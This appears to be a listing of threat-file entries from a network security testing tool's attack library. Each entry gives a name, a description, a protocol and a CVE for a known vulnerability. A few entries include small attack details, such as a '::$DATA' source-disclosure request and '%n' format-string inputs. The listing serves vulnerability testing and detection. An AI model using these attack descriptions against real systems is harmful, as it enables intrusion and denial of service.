Threat Package:	Standard	

Threat File Name:	FSC20090310-16_Microsoft_DNS_Server_WPAD_Registration_Spoofing.xml
Executive Description:	Microsoft DNS Server WPAD Registration Spoofing
Detailed Description:	A spoofing vulnerability exists in Microsoft DNS Server which might allow a man-in-the-middle attack to be performed. The vulnerability is due to the way DNS Server handles dynamic update registration messages. Remote attackers can exploit this vulnerability by sending a crafted WPAD registration message to the target server. Successful exploitation can allow an attacker to redirect Internet traffic and successfully perform a man-in-the-middle attack.
Protocol Type:	DNS
CVEID:	CVE-2009-0093
Threat Package:	Standard
Threat File Name:	TSL20131127-01_Apache_Roller_OGNL_Injection_Remote_Code_Execution_IPv6.xml
Executive Description:	Apache Roller OGNL Injection Remote Code Execution(IPv6 Version)
Detailed Description:	A command execution vulnerability exists in Apache Roller. The vulnerability is due to a lack of sanitization on OGNL expressions passed to certain methods. This can lead to OGNL injection which can result in remote code execution. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to a site using the vulnerable application. Successful exploitation could lead to remote code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-4212
OSVDB:	100342
Threat File Name:	web_oddity_dir_x-versal.xml
Executive Description:	Web Oddity Web Server 0.09b Directory Transversal Vulnerability
Detailed Description:	This threat demonstrates a directory traversal vulnerability in Web Oddity 0.09b allows for reading of arbitrary files via a .. (dot dot) in the URI. Web Oddity is a web server that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4726
Threat Package:	Standard
Threat File Name:	xoops_cmi_sqli_IPv6.xml
Executive Description:	XOOOPS SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an SQL query as well as a arbitrary PHP commands that can be used to gain a higher level of access then the webserver itself. XOOPS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3681
OSVDB:	20852
Threat Package:	Standard
Threat File Name:	apache_off_by_one_IPv6.xml
Executive Description:	Apache GET / 8177 Bytes (IPv6 Version)
Detailed Description:	This threat causes a crash in older Apache versions, due to an off-by-one memory bug. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101012-45_Microsoft_Internet_Explorer_and_SharePoint_toStaticHTML_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer and SharePoint toStaticHTML Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to insufficient input validation by the "toStaticHTML" API. Remote attackers can exploit this vulnerability by enticing the target user to view a Web page that uses this API. In a successful attack, a remote attacker can leverage this vulnerability to execute script in the context of a target's web browser.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-3243
Threat Package:	Standard
Threat File Name:	IMail_host.xml
Executive Description:	IMail Webmail Denial Of Service
Detailed Description:	This threat sends a HTTP GET request with a host field of 600 bytes length. This causes the threads in IMail's webmail service to overwrite themselves, causing massive amounts of memory to be used.
Protocol Type:	HTTP
CVEID:	CVE-2000-0825
OSVDB:	395
Threat Package:	Standard
Threat File Name:	foing_cmi_f.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via playlist.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	windowsupdateDNSSpoof_IPv6.xml
Executive Description:	Windows Update Spoofing Attempt (IPv6 Version)
Detailed Description:	This threat mimics the ability of a DNS spoof attempt trying to redirect a request for windowsupdate.microsoft.com to a malicious server. This could be used as a compound attack attempting to convince a user to download a malicious executable. (IPv6 Version)
Protocol Type:	DNS/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160119-31_Oracle_Application_Testing_Suite_DownloadServlet_scriptPath_Directory_Traversal_IPv6.xml

Executive Description:	Oracle Application Testing Suite DownloadServlet scriptPath Directory Traversal(IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/otm/download" URI with parameter scriptPath A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0484
Threat File Name:	FSC20040922-02_Symantec_Firewall_Multiple_Vulnerabilities.xml
Executive Description:	Symantec Enterprise Firewall Multiple Vulnerabilities
Detailed Description:	Multiple vulnerabilities exist in the Symantec Enterprise Firewall/VPN Appliance and Symantec Gateway Security products. These products contain firmware flaws which result in improper enforcement of controls relative to incoming UDP traffic. These vulnerabilities enable an attacker to view and modify the firewall rules, and additionally to create a denial of service condition.
Protocol Type:	SNMP
CVEID:	CVE-2004-0369
Threat Package:	Standard
Threat File Name:	TSL20170120-06_Brocade_Network_Advisor_CliMonitorReportServlet_FILENAME_Directory_Traversal.xml
Executive Description:	Brocade Network Advisor CliMonitorReportServlet FILENAME Directory Traversal
Detailed Description:	A directory traversal vulnerabilities exists in Brocade Network Advisor. The vulnerability is due to lack of authentication and insufficient input validation in the CliMonitorReportServlet of inmservlets.war when processing HTTP requests with FILENAME parameter. A remote, unauthenticated attacker can exploit this vulnerability by sending a request with a crafted URL to the target server. Successful exploitation would allow an attacker to view sensitive information under the context of SYSTEM.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-8207
Threat File Name:	TSL20120831-08_GE_Proficy_Historian_KeyHelp_ActiveX_LaunchTriPane_Remote_Code_Execution.xml
Executive Description:	GE Proficy Historian KeyHelp ActiveX LaunchTriPane Remote Code Execution
Detailed Description:	A remote code execution vulnerability has been reported in GE Proficy Historian's KeyHelp ActiveX control. The vulnerability is due to insufficient validation of input supplied to the LaunchTriPane() function. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to access a malicious web site. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-2516
OSVDB:	83311
Threat File Name:	php_simpleshop_rfi.xml
Executive Description:	TurnkeyWebTools PHP Simple Shop Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHP SimpleShop is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130709-30_Microsoft_Internet_Explorer_CVE-2013-3146_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3146 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3146
OSVDB:	94974
Threat File Name:	TSL20110412-24_Microsoft_Excel_Data_Validation_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Data Validation Record Parsing Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Data Validation (dv) records in Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0105
Threat File Name:	fuzz-HSRP_Priority.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Priority
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	FSC20091008-01_VMware_Authorization_Service_User_Credential_Parsing_Denial_of_Service.xml
Executive Description:	VMware Authorization Service User Credential Parsing Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in the authorization service of some VMware products. The flaw is due to a design error when processing login requests. An attacker can exploit this vulnerability by supplying malicious USER or PASS strings to the target host. Successful exploitation would result on the termination of the "vmware-authd" process causing a denial of service condition.
Protocol Type:	VMware, over port 912/TCP
Threat Package:	Standard
Threat File Name:	FSC20080227-06_Trend_Micro_OfficeScan_CGI_Password_Decryption_Buffer_Overflow.xml

Executive Description:	Trend Micro OfficeScan CGI Password Decryption Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way Trend Micro OfficeScan Policy server handles HTTP requests. The vulnerability is due to lack of boundary protection while processing HTTP parameters. Remote unauthenticated attackers can exploit this vulnerability to take complete control of an affected system.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20040922-02_Symantec_Firewall_Multiple_Vulnerabilities_IPv6.xml
Executive Description:	Symantec Enterprise Firewall Multiple Vulnerabilities (IPv6 Version)
Detailed Description:	Multiple vulnerabilities exist in the Symantec Enterprise Firewall/VPN Appliance and Symantec Gateway Security products. These products contain firmware flaws which result in improper enforcement of controls relative to incoming UDP traffic. These vulnerabilities enable an attacker to view and modify the firewall rules, and additionally to create a denial of service condition. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2004-0369
Threat Package:	Standard
Threat File Name:	TSL20160422-04_Apache_Struts_XSLTResult_File_Inclusion_IPv6.xml
Executive Description:	Apache Struts XSLTResult File Inclusion (IPv6 version)
Detailed Description:	A file inclusion vulnerability exists in Apache's Struts 2 web application framework. The vulnerability is due to a failure to validate user's input when stylesheet is being passed as a request parameter. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable server. A successful attack attempt could result in the execution of arbitrary code.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-3082
Threat File Name:	MSHTTXMLactiveX.xml
Executive Description:	MS HTTPXML ActiveX BoF
Detailed Description:	Microsoft XML core services are vulnerable to a remote code execution where a remote attacker can hijack the targeted system. Failed attempts will result in a denial of service
Protocol Type:	HTTP
CVEID:	CVE-2006-5745
Threat Package:	Standard
Threat File Name:	ask_rave_rfi.xml
Executive Description:	Ask_Rave Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Ask_Rave is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5621
Threat Package:	Standard
Threat File Name:	TSL20150504-12_ClamAV_UPX_File_Handling_Integer_Overflow.xml
Executive Description:	ClamAV UPX File Handling Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in ClamAV antivirus software. The vulnerability is due to an error in "upx.c" while parsing A remote attacker could exploit this vulnerability to cause a denial of service condition on the target system. UPX-packed executable files.
Protocol Type:	HTTP/SMTP/IMAP/POP3
CVEID:	CVE-2015-2170
Threat File Name:	fuzz-HTTP-GET_PrepndHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP GET with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20140411-09_Advantech_WebAccess_SCADA_webvact.ocx_NodeName_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx NodeName Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the NodeName parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0764
OSVDB:	105573
Threat File Name:	p-news_rfi.xml
Executive Description:	P-News 1.16, 1.17 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. P-News is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ms05-009.xml
Executive Description:	MSN Messenger PNG Exploit
Detailed Description:	This threat causes MSN Messenger to execute code. It is a malformed PNG image. This particular threat mimics the download of it from an HTTP server, but if directed at port 1863, should cause an IDS to flag it as well. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0597
OSVDB:	13597
Threat Package:	Standard
Threat File Name:	iis_data_IPv6.xml
Executive Description:	ASP Data Stream Source Disclosure (IPv6 Version)

Detailed Description:	This threat causes a webserver to deliver the source code to a file instead of executing it. This is performed by using the little known ::\$DATA stream ability of the NTFS file system. This threat performs a GET request for default.asp::\$DATA. Webserver typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-1999-0278
OSVDB:	276
Threat Package:	Standard
Threat File Name:	FSC20080918-06_Macrovision_InstallShield_Update_Service_Agent_ActiveX_Memory_Corruption_IPv6.xml
Executive Description:	Macrovision InstallShield Update Service Agent ActiveX Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Macrovision InstallShield Update Service ActiveX control implemented in isusweb.dll. The vulnerability is due to a design error while processing calls to a method of the ActiveX control. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2470
Threat Package:	Standard
Threat File Name:	TSL20170314-39_Microsoft_Internet_Explorer_JoinToString_Type_Confusion.xml
Executive Description:	Microsoft Internet Explorer JoinToString Type Confusion
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a type confusion when handling objects in memory by JScript engine in Internet Explorer. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0130
Threat File Name:	FSC20080909-08_Microsoft_Windows_Graphics_Rendering_Engine_BMP_File_Parsing_Integer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine BMP File Parsing Integer Overflow
Detailed Description:	A vulnerability has been discovered in the Graphics Rendering Engine (GRE) component of Microsoft Windows. Specifically this vulnerability is exposed by the Microsoft Windows GDI+ subsystem. An attacker can exploit this vulnerability by enticing a user to open a malicious BMP file, resulting in either a denial of service, or in the injection and execution of arbitrary code with the privileges of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3015
Threat Package:	Standard
Threat File Name:	omniweb_format_IPv6.xml
Executive Description:	Omniweb Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat sends out a malicious webpage that can write arbitrary values to memory in the Omniweb Webbrowser. This is passing the argument %n%n%n to the alert method in javascript. This attack would come from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	nbSMTP_fmt_IPv6.xml
Executive Description:	nbSMTP Format String Overflow (IPv6 Version)
Detailed Description:	This threat sends a malicious message from one SMTP server to another. This malicious message is a format string attack that attacks the logging functionality of the no-brainer SMTP server. This threat is a client attack that comes from the virtual server. SMTP typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-2409
OSVDB:	18478
Threat Package:	Standard
Threat File Name:	TSL20130212-17_Microsoft_Internet_Explorer_VML_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer VML Memory Corruption
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to memory corruption when parsing Vector Markup Language. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary code would be executed in the security context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0030
OSVDB:	90127
Threat File Name:	FSC20101214-07_Microsoft_Internet_Explorer_HTML_Time_Element_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Time Element Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when accessing an object that has been incorrectly initialized or has been deleted. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-3346
Threat File Name:	ultravnc_log_IPv6.xml
Executive Description:	UltraVNC Server Logging Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the logging daemon of the UltraVNC daemon. This can be used to cause the UltraVNC service to crash. This threat is expressed through the exploitation of the built in webserver that typically listens on port 5800. (IPv6 Version)

Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160708-01_Symantec_Antivirus_Engine_RAR-Decompression_Remote_Code_Execution.xml
Executive Description:	Symantec Antivirus Engine RAR Decompression Remote Code Execution
Detailed Description:	A remote code execution vulnerability have been reported in the RAR decompression component of Symantec Antivirus Engine. The vulnerability is due to improper validation of archive headers in RAR files. A remote attacker could exploit this vulnerability by sending a maliciously crafted file to a user running this engine. Successful exploitation could result in arbitrary code execution in the context of SYSTEM.
Protocol Type:	HTTP
CVEID:	CVE-2016-2207
Threat File Name:	TSL20111011-21_Microsoft_Internet_Explorer_Select_Element_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Select Element Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way in which IE handles list indices for certain objects. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1999
Threat File Name:	CUPSdos2.xml
Executive Description:	CUPS Denial of Service Crash
Detailed Description:	This threat causes a parsing error in the CUPS printer daemon. It is done by sending a malicious GET request to the applications management port, typically TCP port 631.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20141003-06_FreePBX_Framework_Asterisk_Recording_Interface_unserialize_Code_Execution_IPv6.xml
Executive Description:	FreePBX Framework Asterisk Recording Interface unserialize Code Execution IPv6 version.
Detailed Description:	A code execution vulnerability exists in FreePBX. The vulnerability is due to an input validation issue in the index.php file of the recordings directory. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the page. Successful exploitation could lead to arbitrary code execution on the server under the security context of the web server.
Protocol Type:	HTTP/HTTPS,IPV6
CVEID:	CVE-2014-7235
OSVDB:	112437
Threat File Name:	http_neg_contentlen_IPv6.xml
Executive Description:	HTTP server offers negative content length (IPv6 Version)
Detailed Description:	This is a simple attack against an HTTP client by setting a negative content length. This server side threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080812-26_Microsoft_Powerpoint_TxMasterStyle10Atom_Processing_Code_Execution.xml
Executive Description:	Microsoft Powerpoint TxMasterStyle10Atom Processing Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint. The vulnerability is due to improper boundary checking while parsing the TxMasterStyle10Atom atom in a Powerpoint presentation file. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious PowerPoint file, potentially causing arbitrary code to be executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1455
Threat Package:	Standard
Threat File Name:	FSC20110210-01_HP_OpenView_Network_Node_Manager_ovutil_dll_stringToSeconds_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager ovutil.dll stringToSeconds Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the <italic>stringToSeconds</italic> function defined in the ovutil.dll when processing crafted HTTP request parameters.A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-0262
Threat File Name:	evolution_dos_IPv6.xml
Executive Description:	Gnome Evolution Inline Text File Attachment DoS (IPv6 Version)
Detailed Description:	This threat sends a crafted email message containing a single line containing 40K of text based content which causes an assertion failure in the mail client. This threat is delivered via SMTP which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-0528
Threat Package:	Standard
Threat File Name:	TSL20130409-25_HP_ManagementCenter_SyslogDownloadServlet_Disclosure.xml
Executive Description:	HP Intelligent Management Center SyslogDownloadServlet Information Disclosure

Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the SyslogDownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5206
OSVDB:	91031
Threat File Name:	FSC20040511-02_Microsoft_HSC_URL_RemoteCodeExecution2_IPv6.xml
Executive Description:	Microsoft HSC URL RemoteCodeExecution2 (IPv6 Version)
Detailed Description:	There is a vulnerability in the way the Microsoft Help and Support Center processes URL strings. The vulnerability could be exploited to download and execute malicious programs on a vulnerable system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0199
Threat Package:	Standard
Threat File Name:	IMail_monitor_IPv6.xml
Executive Description:	IMail Monitor Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large payload to the IMail monitor, which typically listens on port 8181. Causes a buffer overflow which can be exploited, causing a compromise of the server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard
Threat File Name:	FSC20071022-03_RealNetworks_RealPlayer_Playlist_Handling_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer Playlist Handling Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in the RealNetworks RealPlayer application. The vulnerability is due to a signedness error when handling playlist names. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	TCP
CVEID:	CVE-2007-5601
Threat Package:	Standard
Threat File Name:	FSC20070314-05_Apache_Tomcat_Servlet_Engine_Directory_Traversal_IPv6.xml
Executive Description:	Apache Tomcat Servlet Engine Directory Traversal (IPv6 Version)
Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for the directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0450
Threat Package:	Standard
Threat File Name:	FSC20090922-01_Dnsmasq_TFTP_Service_Remote_Heap_Buffer_Overflow.xml
Executive Description:	Dnsmasq TFTP Service Remote Heap Buffer Overflow
Detailed Description:	A heap based buffer overflow vulnerability has been reported in Dnsmasq. The vulnerability is due to improper bounds checking when handling TFTP Read requests. A remote attacker can exploit this vulnerability by sending a specially crafted RRQ packet to the target server. Successful exploitation of this vulnerability can lead to arbitrary code execution within the security context of the affected service. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	TFTP
CVEID:	CVE-2009-2957
Threat Package:	Standard
Threat File Name:	TSL20160119-24_Oracle_Application_Testing_Suite_DownloadServlet_scenario_Directory_Traversal.xml
Executive Description:	Oracle Application Testing Suite DownloadServlet scenario Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in the in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/olt/download" URI. A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2016-0477
Threat File Name:	TSL20151013-07_Microsoft_Windows_Toolbar_Object_Handling_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Windows Toolbar Object Handling Use After Free IPv6 version
Detailed Description:	A use after free vulnerability exists in Microsoft Windows Shell. The vulnerability is caused by accessing already freed memory objects. An attacker could exploit the vulnerability by convincing a user to open a specially crafted web page. An attacker who successfully exploited this vulnerability could execute arbitrary code within the security context of the current user.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-2515
Threat File Name:	safenet_BOF_IPv6.xml
Executive Description:	SafeNet License Manager Overflow Attempt (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow on the SafeNet License Manager Application. The license manager typically listens on port 5093. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-0353
OSVDB:	14605
Threat Package:	Standard
Threat File Name:	TSL20151215-02_LibreOffice_and_OpenOffice_ODF_Document_PrinterSetup_Integer_Underflow_IPv6.xml

Executive Description:	LibreOffice and OpenOffice ODF Document PrinterSetup Integer Underflow(IPv6 version)
Detailed Description:	An integer underflow vulnerability exist in LibreOffice and OpenOffice. The vulnerability is due to the insufficient size checks when processing the PrinterSetup data within ODF documents.A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted document. Successful exploitation will result in arbitrary code execution in the context of the logged in user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2015-5212
Threat File Name:	TSL20160614-03_Apache_Continuum_saveInstallation.action_Command Injection.xml
Executive Description:	Apache Continuum saveInstallation.action Command Injection
Detailed Description:	A command injection vulnerability has been reported in Apache Continuum. This vulnerability is due to the affected software incorrectly parsing certain requests. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the '/continuum/saveInstallation.action' URI. Successful exploitation results in arbitrary command execution under the security context of the target process.
Protocol Type:	HTTP
Threat File Name:	FSC20040723-01_Samba_SWAT_HTTP_Authentication_Buffer_Overflow.xml
Executive Description:	Samba SWAT HTTP Authentication Buffer Overflow
Detailed Description:	There is a vulnerability in the way SWAT, a web-based administration tool for Samba, parses Basic Authentication information. A specially crafted authentication string can cause an integer underflow leading to a heap-based buffer overflow. An attacker can exploit this vulnerability to create a denial of service condition or execute arbitrary code. When the vulnerability is triggered, the Swat process will generate a segmentation fault signal and exits. There is no denial of service condition since inetd will spawn other Swat processes for other requests. This vulnerability is caused by an integer underflow and not by attacker-supplied data. Hence, the data that is overwritten into the heap is not generally under the attacker's control. If the attacker is able to control the data being overwritten into the heap, he/she may be able to execute code on the target system with the privileges of this process, though this would be very difficult. Generally, the default Swat configuration file configures Swat to run as root. The behaviour of the target system, in this case, depends on the injected code.
Protocol Type:	TCP
CVEID:	CVE-2004-0600
Threat Package:	Standard
Threat File Name:	safari_rowspan.xml
Executive Description:	Safari Malformed Page Crash
Detailed Description:	This threat sends a malformed HTML page containing a large rowspan element for a table element that will cause a crash on the Safari web browser. Before the crash, Safari will cause the system to become unusable for 10 minutes. This is a client side attack that comes from a malicious web server. Web servers typically listen on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sipextraseparators.xml
Executive Description:	SIPPING: Extraneous Header Field Separators
Detailed Description:	This threat sends out a SIP INVITE message with additional semicolons and commas in header fields with no parameters and values between them. This is not legal and since it is unexpected, may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	goodtechSMTP_IPv6.xml
Executive Description:	GoodTech SMTP Server DoS (IPv6 Version)
Detailed Description:	This threat causes the GoodTech SMTP server to crash by sending a poorly created RCPT TO field. SMTP servers typically listen on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-2387
OSVDB:	17197
Threat Package:	Standard
Threat File Name:	FSC20091210-06_HP_OpenView_Network_Node_Manager_snmp.exe_Oid_Variable_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager snmp.exe Oid Variable Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager CGI program snmp.exe. The vulnerability is due to a boundary error while parsing HTTP requests containing an overly long Oid value. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest account. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3849
Threat Package:	Standard
Threat File Name:	FSC20060518-04_Apple_QuickTime_udta_Atom_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime udta Atom Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Apple QuickTime. The flaw is caused by insufficient checks imposed on the value that defines the size of a udta Atom in a MOV file. This may lead to a heap buffer overflow, which may be exploited by an attacker to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1460
Threat Package:	Standard
Threat File Name:	ms05002_ani_IPv6.xml
Executive Description:	MS05-002 Animated Cursor Vulnerability (IPv6 Version)
Detailed Description:	This threat is an attack on vulnerable versions of Microsoft's Internet Explorer, causing a buffer overflow condition. This threat typically comes from a webserver listening on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0416
OSVDB:	16430

Threat Package:	Standard
Threat File Name:	TSL20160708-01_Symantec_Antivirus_Engine_RAR-Decompression_Remote_Code_Execution_IPv6.xml
Executive Description:	Symantec Antivirus Engine RAR Decompression Remote Code Execution (IPv6 version)
